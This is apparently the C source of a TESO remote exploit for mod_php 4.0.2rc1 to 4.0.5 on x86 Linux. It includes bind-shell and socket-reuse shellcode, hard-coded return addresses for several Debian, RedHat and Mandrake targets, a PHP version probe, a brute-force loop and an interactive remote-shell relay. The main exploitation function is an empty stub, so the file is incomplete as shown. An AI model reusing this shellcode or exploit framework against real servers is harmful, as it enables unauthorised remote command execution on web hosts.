/* 73501867 - x86/linux mod_php v4.0.2rc1-v4.0.5 remote exploit
 * 
 * TESO CONFIDENTIAL - SOURCE MATERIALS
 * 
 * This is unpublished proprietary source code of TESO Security.
 * 
 * The contents of these coded instructions, statements and computer
 * programs may not be disclosed to third parties, copied or duplicated in
 * any form, in whole or in part, without the prior written permission of
 * TESO Security. This includes especially the Bugtraq mailing list, the
 * www.hack.co.za website and any public exploit archive.
 * 
 * (C) COPYRIGHT TESO Security, 2001
 * All Rights Reserved
 * 
 * code by lorian
 * 
 */

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <stdarg.h>


/* globals */
int force = 0;
int checkonly = 0;
int nocheck = 0;
int targetsys = 0;
int portshell = 0;
unsigned long retloc = 0xbffff7d0;
unsigned long retaddr = 0x08101010;
int net_readtimeout = 180;
int net_conntimeout = 60;
int net_identtimeout = 15;

unsigned long retaddr_min = 0;
unsigned long retaddr_max = 0;
int numtargets;


/* function prototypes */
void usage(char *v0);
unsigned long int net_resolve (char *host);
int net_connect (struct sockaddr_in *cs, char *server,
		 unsigned short int port, int sec);
void net_write (int fd, const char *str, ...);
int net_rtimeout (int fd, int sec);
int net_rlinet (int fd, char *buf, int bufsize, int sec);
int xp_check (int fd, char *dest);
int xp (int fd, char *dest, char *phpfile);
void shell (int sock);


/* shell codes.. */
char x86_linux_portshell[] =
  "\x8b\xe5\x31\xc0\x99\x50\xfe\xc0\x89\xc3\x50\xfe\xc0\x50\x89\xe1"
  "\xb0\x66\xcd\x80\x52\x66\x68\x50\x73\x66\x52\x89\xe2\x6a\x10\x52"
  "\x50\x89\xe1\xfe\xc3\x89\xc2\xb0\x66\xcd\x80\x80\xc3\x02\xb0\x66"
  "\xcd\x80\x50\x52\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9"
  "\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80"
  "\xb0\x0b\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
  "\x52\x53\x89\xe1\xcd\x80";
char x86_linux_dupshell[] =
  "\x31\xc0\x50\xb0\x1b\xcd\x80\x8b\xe5\x31\xdb\xf7\xe3\xb0\x1b\xcd"
  "\x80\x60\x89\xe2\x6a\x20\x54\x52\x31\xc9\x51\x59\x41\x51\x89\xe1"
  "\x6a\x07\x5b\x6a\x66\x58\xcd\x80\x09\xc0\x75\xef\x80\x3a\x02\x75"
  "\xea\x5b\x31\xc9\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80\xfe\xc1"
  "\xb0\x3f\xcd\x80\xb0\x0b\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
  "\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80\xcc\x00\x00\xd0\x04\x08";
char *shellcode = x86_linux_dupshell;


/* targets... */
struct __targets_stru 
{
   unsigned long retloc;
   unsigned long retaddr_min;
   unsigned long retaddr_max;
   char *desc;
} targets[] =
{
     { 0x40284668, 	0x00000000, 	0x08101010,
	  "Debian 2.2r3 / Apache 1.3.20 / PHP 4.0.3 (GOT _estrndup)" },
     { 0x402ba1a8, 	0x00000000, 	0x08101010,
	  "Debian 2.2r3 / Apache 1.3.9 / PHP 4.0.3p1 (GOT _estrndup)" },
     { 0xbffff7f0, 	0x00000000, 	0x08101010,
	  "Debian 2.2r3 / Apache 1.3.9 / PHP 4.0.3p1 (stack)" },
     { 0x08095204, 	0x00000000, 	0x08101010,
	  "Debian 2.2r3 / Apache 1.3.9 / PHP 4.0.3p1 (apache GOT kill)" },
     { 0x08095204, 	0x00000000, 	0x08110102,
	  "Debian 2.2r3 / Apache 1.3.9 / PHP 4.0.3p1 (stack)" },
     { 0x55555555, 	0x00000000, 	0x66666666,
	  "CRASH ME" },
     { 0xbffff7b0, 	0x00000000, 	0x08110102,
	  "Debian 2.2r3 / Apache 1.3.20 / PHP 4.0.5 (stack)" },
     { 0x0809afb0, 	0x08088010, 	0x08180110,
	  "RedHat 7.1 / apache-1.3.19-5 from RPM / PHP/4.X" },
     { 0x0809eac0, 	0x08088010, 	0x08180110,
	  "Mandrake 8.0 / apache-1.3.19-3mdk from RPM / PHP/4.X" },
     { 0, 0, 0, NULL }
};


/* main program */
int
main(int c, char *v[])
{
   char ch;
   char *progname;
   char *dest, *phpfile;
   int i, j, fd, dots = 0;
   
   fprintf(stderr, 
	   "73501867 - x86/linux mod_php v4.0.2rc1-v4.0.5 remote exploit\n"
	   "by lorian.\n"
	   "\n"
	   );
   
   /* count the targets.. */
   numtargets = 0;
   while (targets[numtargets].desc)
     numtargets++;
   
   /* do we have enough to proceed? */
   progname = v[0];
   if (c < 2)
     usage (progname);

   /* options? */
   while ((ch = getopt(c, v, "cfg:t:a:l:pn")) != -1)
     {
	switch (ch)
	  {
	   case 't':
	     targetsys = atoi(optarg);
	     if (targetsys < 1 || targetsys > numtargets)
	       usage(progname);
	     targetsys--;
	     retaddr_min = targets[targetsys].retaddr_min;
	     retaddr_max = targets[targetsys].retaddr_max;
	     retloc = targets[targetsys].retloc;
	     break;
	   case 'c':
	     checkonly = 1;
	     break;
	   case 'f':
	     force = 1;
	     break;
	   case 'a':
	     retaddr = atol(optarg);
	     break;
	   case 'l':
	     retloc = atol(optarg);
	     break;
	   case 'p':
	     portshell = 1;
	     break;
	   case 'n':
	     nocheck = 1;
	     break;
	   case 'g':
	     /* unused */
	   default:
	     usage (progname);
	  }
     }
   c -= optind;
   v += optind;
   dest = v[0];
   if (*dest == '-')
     usage (progname);
   phpfile = v[1];
   if (*phpfile == '-')
     usage (progname);
   
   /* try to connect to the web server */
   fd = net_connect (NULL, dest, 80, 20);
   if (fd <= 0) {
      fprintf(stderr, "+ failed to connect\n");
      return 1;
   }

   if (nocheck == 0
       && xp_check (fd, dest) == 0
       && force == 0)
     {
	printf ("+ aborting\n");
#ifndef DEBUG
	return 1;
#endif
     }
   close (fd);
   
   /* only check? */
   if (checkonly)
     return 0;
   
   /* some pointless text.. */
   printf("\n"
	  "+ checking if POST fileuploads are allowed ...\n"
	  "\n");
   printf("+ exploiting the memchr bug now...\n");

   /* loop attempting to exploit... */
   retaddr = retaddr_min;
   while (retaddr < retaddr_max) {
      /* connect */
      fd = net_connect (NULL, dest, 80, 20);
      if (fd <= 0) {
	 fprintf(stderr, "+ failed: unable to connect for exploiting\n");
	 exit (1);
      }
      /* seed random number generation */
      srand(time(NULL));
      
      /* attempt exploitation.. */
      if ((i = xp(fd, dest, phpfile)) == 1)
	fprintf(stderr, ".");	/* died */
      else if (i == 0)
	fprintf(stderr, "?");	/* did not die */
      else {
	 fprintf(stderr, "!");	/* exploit successfull? */
	 printf("+ done ...\n");
	 
	 /* port or dup shell? */
	 if (!portshell) {
	    printf("+ you should be connected to a dup-shell now\n");
	    printf("+ if not simply try again\n");
	    printf("command> ");
	    fflush(stdout);
	    shell(fd);
	    break;
	 } else {
	    printf("+ there should be a portshell on port 20595 now\n");
	    printf("+ if not simply try again\n");
	    break;
	 }
      }
      close(fd);
      retaddr += 0x10000;
   }
   return 1;
}


/* check for php.. */
int
xp_check (int fd, char *dest)
{
   int             n;
   unsigned int    expect_len = 7;
   unsigned char   expected[] = "Server:";
   unsigned int    additional_len = 13;
   unsigned char   additional[] = "X-Powered-By:";
   unsigned char   buf[1024];
   char *ptr, *end;
   
   printf("+ Checking for vulnerable PHP version...\n");
   net_write (fd, "HEAD / HTTP/1.1\r\nHost: %s\r\n\r\n",
	      dest);
   
   while ((n = net_rlinet (fd, buf, sizeof(buf)-1, 0))) {
      if (strncasecmp(buf, expected, expect_len) == 0
	  || strncasecmp(buf, additional, additional_len) == 0) {
	 if ((ptr = strstr(buf, "PHP/"))) {
	    end = ptr;
	    while (*end && !isspace(*end))
	      end++;
	    *end = '\0';
	    
	    /* check the version # */
	    if (strlen(ptr) < 9)
	      break;
	    end = ptr + 8;
	    
	    /* this is an insufficient check, but oh well.. */
	    if (*end == '3' || *end == '4' || *end == '5') {
	       printf("+ passed: server says %s\n", ptr);
	       return (1);
	    } else {
	       printf("+ failed: server says %s which is not vulnerable to this bug\n", ptr);
	       return (0);
	    }
	 }
      }
   }
   printf("+ failed: server does not propagate any PHP version\n");
   return (0);
}



/* exploit php.. */
int
xp (int fd, char *dest, char *phpfile)
{
   return 1;
}


/* show the usage.. */
void
usage(char *v0)
{
   int i;
   
   fprintf(stderr, "usage: %s [options] <hostname> <phpfile>\n", v0);
   fprintf(stderr, "\n"
	   "Options:\n"
	   "  -c            check exploitability only, do not exploit\n"
	   "  -f            force mode, override check results\n"
	   "  -n            no check mode\n"
	   "  -l retloc     set retlocation\n"
	   "  -a retaddr    set return address\n"
	   "  -t target     choose target\n"
	   );
   for (i = 0; targets[i].desc; i++)
     fprintf(stderr,
	     "                (%d) %s\n", i+1, targets[i].desc);
   fprintf(stderr, "\n");
   exit(1);
}


unsigned long int
net_resolve (char *host)
{
   long            i;
   struct hostent  *he;
   
   i = inet_addr(host);
   if (i == -1) {
      he = gethostbyname(host);
      if (he == NULL) {
	 return (0);
      } else {
	 return (*(unsigned long *) he->h_addr);
      }
   }
   return (i);
}


int
net_connect (struct sockaddr_in *cs, char *server,
	     unsigned short int port, int sec)
{
   int n,
     len,
     error,
     flags;
   int                     fd;
   struct timeval          tv;
   fd_set                  rset, wset;
   struct sockaddr_in      csa;
   
   if (cs == NULL)
     cs = &csa;
   
   /* first allocate a socket */
   cs->sin_family = AF_INET;
   cs->sin_port = htons (port);
   fd = socket (cs->sin_family, SOCK_STREAM, 0);
   if (fd == -1)
     return (-1);
   
   if (!(cs->sin_addr.s_addr = net_resolve (server))) {
	close (fd);
	return (-1);
     }
   
   flags = fcntl (fd, F_GETFL, 0);
   if (flags == -1) {
	close (fd);
	return (-1);
     }
   
   n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
   if (n == -1) {
	close (fd);
	return (-1);
     }
   
   error = 0;
   
   n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
   if (n < 0) {
	if (errno != EINPROGRESS) {
	     close (fd);
	     return (-1);
	  }
     }
   if (n == 0)
     goto done;
   
   FD_ZERO(&rset);
   FD_ZERO(&wset);
   FD_SET(fd, &rset);
   FD_SET(fd, &wset);
   tv.tv_sec = sec;
   tv.tv_usec = 0;
   
   n = select(fd + 1, &rset, &wset, NULL, &tv);
   if (n == 0) {
	close(fd);
	errno = ETIMEDOUT;
	return (-1);
     }
   if (n == -1)
     return (-1);
   
   if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset))  {
	if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {	
	   len = sizeof(error);
	   if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
	      errno = ETIMEDOUT;
	      return (-1);
	   }
	   if (error == 0) {
	      goto done;
	   }
	   else { 
	      errno = error;
	      return (-1);
	   }
	}
   }
   else
     return (-1);
   
done:
   n = fcntl(fd, F_SETFL, flags);
   if (n == -1)
     return (-1);
   return (fd);
}

int
net_rlinet (int fd, char *buf, int bufsize, int sec)
{
        int                     n;
        unsigned long int       rb = 0;
        struct timeval          tv_start, tv_cur;

        memset(buf, '\0', bufsize);
        (void) gettimeofday(&tv_start, NULL);

        do {
                (void) gettimeofday(&tv_cur, NULL);
                if (sec > 0) {
                        if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) -
                                ((tv_start.tv_sec * 1000000) +
                                (tv_start.tv_usec))) > (sec * 1000000))
                        {
                                return (-1);
                        }
                }
                n = net_rtimeout(fd, net_readtimeout);
                if (n <= 0) {
                        return (-1);
                }
                n = read(fd, buf, 1);
                if (n <= 0) {
                        return (n);
                }
                rb++;
                if (*buf == '\n')
                        return (rb);
                buf++;
                if (rb >= bufsize)
                        return (-2);    /* buffer full */
        } while (1);
}


int
net_rtimeout (int fd, int sec)
{
        fd_set          rset;
        struct timeval  tv;
        int             n, error, flags;


        error = 0;
        flags = fcntl(fd, F_GETFL, 0);
        n = fcntl(fd, F_SETFL, flags | O_NONBLOCK);
        if (n == -1)
                return (-1);

        FD_ZERO(&rset);
        FD_SET(fd, &rset);
        tv.tv_sec = sec;
        tv.tv_usec = 0;

        /* now we wait until more data is received then the tcp low level
         * watermark, which should be setted to 1 in this case (1 is default)
         */
        n = select(fd + 1, &rset, NULL, NULL, &tv);
        if (n == 0) {
                n = fcntl(fd, F_SETFL, flags);
                if (n == -1)
                        return (-1);
                errno = ETIMEDOUT;
                return (-1);
        }
        if (n == -1) {
                return (-1);
        }
        /* socket readable ? */
        if (FD_ISSET(fd, &rset)) {
                n = fcntl(fd, F_SETFL, flags);
                if (n == -1)
                        return (-1);
                return (1);
        } else {
                n = fcntl(fd, F_SETFL, flags);
                if (n == -1)
                        return (-1);
                errno = ETIMEDOUT;
                return (-1);
        }
}


void
net_write (int fd, const char *str, ...)
{
        char    tmp[1025];
        va_list vl;
        int     i;

        va_start(vl, str);
        memset(tmp, 0, sizeof(tmp));
        i = vsnprintf(tmp, sizeof(tmp), str, vl);
        va_end(vl);

#ifdef DEBUG
        printf ("[snd] %s%s", tmp, (tmp[strlen (tmp) - 1] == '\n') ? "" : "\n");
#endif

        send(fd, tmp, i, 0);
        return;
}


void
shell (int sock)
{
        int     l;
        char    buf[512];
        fd_set  rfds;


        while (1) {
                FD_SET (0, &rfds);
                FD_SET (sock, &rfds);

                select (sock + 1, &rfds, NULL, NULL, NULL);
                if (FD_ISSET (0, &rfds)) {
                        l = read (0, buf, sizeof (buf));
                        if (l <= 0) {
                                perror ("read user");
                                exit (EXIT_FAILURE);
                        }
                        write (sock, buf, l);
                }

                if (FD_ISSET (sock, &rfds)) {
                        l = read (sock, buf, sizeof (buf));
                        if (l <= 0) {
                                perror ("read remote");
                                exit (EXIT_FAILURE);
                        }
                        write (1, buf, l);
                }
        }
}


